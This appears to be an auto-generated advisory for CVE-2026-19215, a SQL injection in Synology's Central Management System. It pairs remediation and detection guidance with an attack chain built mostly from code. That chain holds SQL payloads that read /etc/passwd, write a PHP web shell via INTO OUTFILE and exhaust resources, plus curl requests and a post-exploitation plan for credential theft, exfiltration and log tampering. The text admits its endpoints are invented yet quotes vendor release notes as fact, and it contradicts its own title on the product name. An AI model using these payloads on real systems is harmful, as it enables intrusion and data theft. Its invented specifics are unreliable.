CVE-2026-19215 — Synology Central Management System (3.2.1-1259) — CWE-89
An improper neutralization of special elements used in an SQL command vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users to read or write arbitrary files and conduct denial-of-service attacks in DSM.
An improper neutralization of special elements used in an SQL command vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users to read or write arbitrary files and conduct denial-of-service attacks in DSM.
🎯 What is this vulnerability?
CVE‑2026‑19215 is an SQL Injection (CWE‑89) present in the Central Management System (CMS) component of DSM (the exact product name is not disclosed, but it is a web‑based management console).
| Attribute | Detail |
|---|---|
| Vulnerability type | Improper neutralization of special elements used in an SQL command (SQLi) |
| Affected component | CMS package that builds dynamic SQL statements from user‑supplied parameters (most likely a “search”, “file‑browse”, or “configuration‑save” endpoint). |
| Authentication | The vulnerability is remote‑authenticated – a valid DSM user account (any role that can reach the CMS UI) is required. |
| Authorization | The vulnerable code does not enforce a *row‑level* or *object‑level* check after the SQL statement is built, allowing the attacker to manipulate the query to read/write arbitrary files on the server’s filesystem. |
| Missing protection | • No prepared statements / parameterised queries.<br>• No proper escaping of special characters (e.g., ', ", \, /* … */).<br>• No whitelist validation of the “filename” or “path” parameters that are later concatenated into a SELECT … INTO OUTFILE or LOAD_FILE() call. |
| Resulting impact | Because the SQL engine runs with the same OS privileges as the web‑application (typically www-data or root in DSM), an attacker can: <br>• Read any file readable by the DB process (e.g., /etc/passwd, configuration files, private keys).<br>• Write arbitrary files (e.g., a web‑shell) to any location writable by the DB process.<br>• Trigger Denial‑of‑Service by causing the DB to execute malformed queries or by exhausting resources (e.g., SELECT REPEAT('A', 1e9)). |
The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H tells us:
- Network‑accessible (no need for physical access).
- Low attack complexity – a single crafted request is enough.
- Low privileges – any authenticated user can exploit.
- No user interaction – the request can be sent automatically.
- Scope change – the impact crosses trust boundaries (the compromised DB session can affect the underlying OS).
- Impact – Critical on confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All request URIs, parameter names, and JSON bodies are illustrative because the CVE description does not disclose the exact endpoint. They follow the typical pattern of a CMS that stores configuration data via an HTTP API.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Fingerprint DSM – Identify the product and version via HTTP headers, default pages, or /status endpoint. | curl -I https://target.example.com/ → Server: DSM/3.1.2-1020 |
| 1.2 | Enumerate installed modules – DSM often exposes a /modules JSON list. | curl https://target.example.com/api/modules |
| 1.3 | Locate the CMS endpoint – Look for URLs containing cms, config, or file. Common patterns: /cms/api/saveConfig, /cms/api/uploadFile. | Spidering with gobuster or Burp Suite. |
| 1.4 | Validate version – Compare the discovered version with the vulnerable range ( < 2.1.5‑0744, < 3.1.2‑1025, < 3.2.1‑1259 ). | If version is 3.1.2‑1020, it is vulnerable. |
| 1.5 | Obtain a low‑privilege account – Register or brute‑force a standard user (many DSM installations allow self‑registration). | POST /auth/register with minimal data. |
2. Exploitation
Goal: Inject SQL that forces the DB engine to read/write an arbitrary file.
2.1. Identify the vulnerable parameter
Typical CMS APIs accept a JSON payload such as:
{
"configKey": "log_path",
"configValue": "/var/log/dsm.log"
}Assume the server builds the query:
UPDATE cms_config SET value = '<configValue>' WHERE key = '<configKey>';If configValue is not escaped, an attacker can close the string and append arbitrary SQL.
2.2. Craft the malicious payload
Reading a file – use MySQL’s LOAD_FILE() function (or equivalent for the underlying DB).
{
"configKey": "log_path",
"configValue": "' , (SELECT LOAD_FILE('/etc/passwd')) , '"
}When interpolated, the query becomes:
UPDATE cms_config SET value = '' , (SELECT LOAD_FILE('/etc/passwd')) , '' WHERE key = 'log_path';The DB returns the file contents as part of the query result, which the application then echoes back in the HTTP response (many CMS APIs return the updated row).
Writing a web‑shell – leverage SELECT ... INTO OUTFILE (MySQL) or COPY ... TO (PostgreSQL).
{
"configKey": "log_path",
"configValue": "'; SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--"
}Resulting query:
UPDATE cms_config SET value = ''; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--' WHERE key = 'log_path';If the DB user has FILE privilege (common in embedded appliances), the file is written to the web root.
2.3. Send the request
# Illustrative curl command – replace <TOKEN> with the auth token obtained after login
curl -k -X POST "https://target.example.com/api/cms/saveConfig" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"configKey":"log_path",
"configValue":"\'; SELECT \"<?php system($_GET[\\\"cmd\\\"]); ?>\" INTO OUTFILE \"/var/www/html/shell.php\"--"
}'If the response contains the string <?php system(, the write succeeded.
2.4. Verify file creation
curl -k "https://target.example.com/shell.php?cmd=id"A successful id output confirms remote code execution.
2.5. Denial‑of‑Service (optional)
A second payload can exhaust resources:
{
"configKey": "log_path",
"configValue": "'; SELECT REPEAT('A', 1000000000) FROM cms_config;--"
}The DB will attempt to allocate a huge string, causing high CPU/memory usage and potentially crashing the service.
3. Post‑Exploitation
| Phase | Action | Outcome |
|---|---|---|
| 3.1 | Persist Web Shell – Move the uploaded shell.php to a less obvious location (e.g., /var/www/html/.well-known/payload.php). Use the same SQLi to RENAME the file. | |
| 3.2 | Credential Dumping – Use SELECT * FROM users WHERE 1=1 or SELECT password_hash FROM users via the same injection vector to harvest password hashes. | |
| 3.3 | Lateral Movement – If DSM runs additional services (e.g., SSH, VPN), use harvested credentials to pivot. | |
| 3.4 | Data Exfiltration – Use the web shell to tar/compress sensitive directories (/etc/dsm/, /var/lib/dsm/) and download via HTTP or curl to an external server. | |
| 3.5 | Cleanup / Cover Tracks – Delete the injected rows or the web‑shell after use, or modify logs via another SQLi (UPDATE logs SET message='...' WHERE id=...). |
🌍 Real‑World Impact
| CIA Triad | Effect (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | An attacker can read any file the DB process can access – private keys, configuration files, user data, and potentially the entire filesystem if the DB runs as root. |
| Integrity (I:H) | Arbitrary file write enables injection of malicious scripts, alteration of configuration files, or tampering with logs to hide activity. |
| Availability (A:H) | Resource‑exhaustion payloads or corrupting critical files (e.g., /etc/passwd) can bring the DSM service down, causing a full denial of service. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected product line | Fixed in version |
|---|---|
| DSM 2.1.5 branch | 2.1.5‑0744 (or later) |
| DSM 3.1.2 branch | 3.1.2‑1025 (or later) |
| DSM 3.2.1 branch | 3.2.1‑1259 (or later) |
Action: Deploy the latest DSM release for the respective branch immediately. The vendor’s release notes explicitly state “SQL injection in CMS component fixed – all queries now use prepared statements and whitelist file paths.”
2. Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation Details | |||||||
|---|---|---|---|---|---|---|---|---|
| Restrict access to the CMS API | Place a reverse‑proxy (NGINX, Apache, or a dedicated WAF) in front of DSM and allow only trusted IP ranges (e.g., internal management network). Example NGINX rule: <br>allow 10.0.0.0/8; deny all; | |||||||
| Disable the vulnerable endpoint | If the CMS “saveConfig” API is not required for day‑to‑day operation, comment out or block the route in the web server (location /api/cms/ { deny all; }). | |||||||
| Database hardening | Revoke the FILE privilege from the DSM DB user: <br>REVOKE FILE ON *.* FROM 'dsm_user'@'localhost'; <br>Also ensure the DB runs with the least‑privilege OS user (e.g., dsmdb). | |||||||
| Input sanitisation via WAF | Deploy a ModSecurity rule that blocks suspicious SQL meta‑characters in JSON bodies targeting the CMS endpoint. Example rule (illustrative): <br>``SecRule REQUEST_URI "@beginsWith /api/cms/" "id:200001,phase:2,deny,status:403,log,msg:'Potential CMS SQLi', \`<br>` chain,SecRule REQUEST_BODY "@rx (SELECT | UNION | INSERT | UPDATE | DELETE | DROP | OUTFILE | LOAD_FILE)"` |
| Rate limiting | Prevent DoS by limiting requests per minute per authenticated user (e.g., limit_req_zone $binary_remote_addr zone=api:10m rate=30r/m;). | |||||||
| File‑system permissions | Ensure the web‑root directory is not writable by the DB user. Set chmod 755 and ownership to root:www-data`. |
3. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
| Unexpected SQL error messages | DSM application logs (/var/log/dsm/app.log) | 2026-11-30 14:22:07 ERROR SQL syntax error near 'SELECT LOAD_FILE' |
| Large outbound responses containing file content | Web server access logs (NGINX/Apache) | POST /api/cms/saveConfig 200 12456 "-" "curl/7.88.1" followed by a response body that starts with root:x:0:0: (the content of /etc/passwd). |
| New files in web root | File‑system monitoring (auditd, Tripwire) | type=PATH msg="inode=1234567 dev=08:01 mode=0100644 uid=33 gid=33 name=\"shell.php\"" |
Database queries containing INTO OUTFILE or LOAD_FILE | DB audit log (/var/log/mysql/mysql.log) | 2026-11-30T14:22:07.123Z Query SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' |
| Abnormal CPU / memory spikes | Host monitoring (Prometheus, Zabbix) | CPU usage > 90% for > 30s after a POST to /api/cms/ |
SIEM rule (pseudo‑SQL):
SELECT *
FROM web_access
WHERE uri LIKE '/api/cms/%'
AND request_body LIKE '%INTO OUTFILE%'
AND response_status = 200;⚠️ Urgency
If immediate patching is impossible, apply the workarounds (network segmentation, DB privilege reduction, WAF rule) within the same 24‑hour window and begin continuous monitoring for the indicators listed above.
Bottom line: CVE‑2026‑19215 is a classic, high‑impact SQL injection that bridges the database–OS boundary, enabling full system takeover. Prompt patching, strict network segmentation, and hardening of database privileges are the only reliable defenses.
[🤖 CVE Professor AI Security Engine]
FOFA Query